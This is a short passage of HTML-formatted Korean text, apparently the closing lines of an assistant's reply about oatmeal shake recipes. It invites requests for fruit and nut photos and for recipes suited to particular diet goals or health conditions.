만들 때 사용할 수 있는 과일과 견과류 사진을 보여주세요"와 같이 요청해주시면 됩니다.</p><p data-sourcepos="55:1-55:61"><strong>또한, 특정 다이어트 목표나 건강 상태에 맞는 오트밀 쉐이크 레시피를 원하시면 언제든지 말씀해주세요.</strong></p></div> </div></div>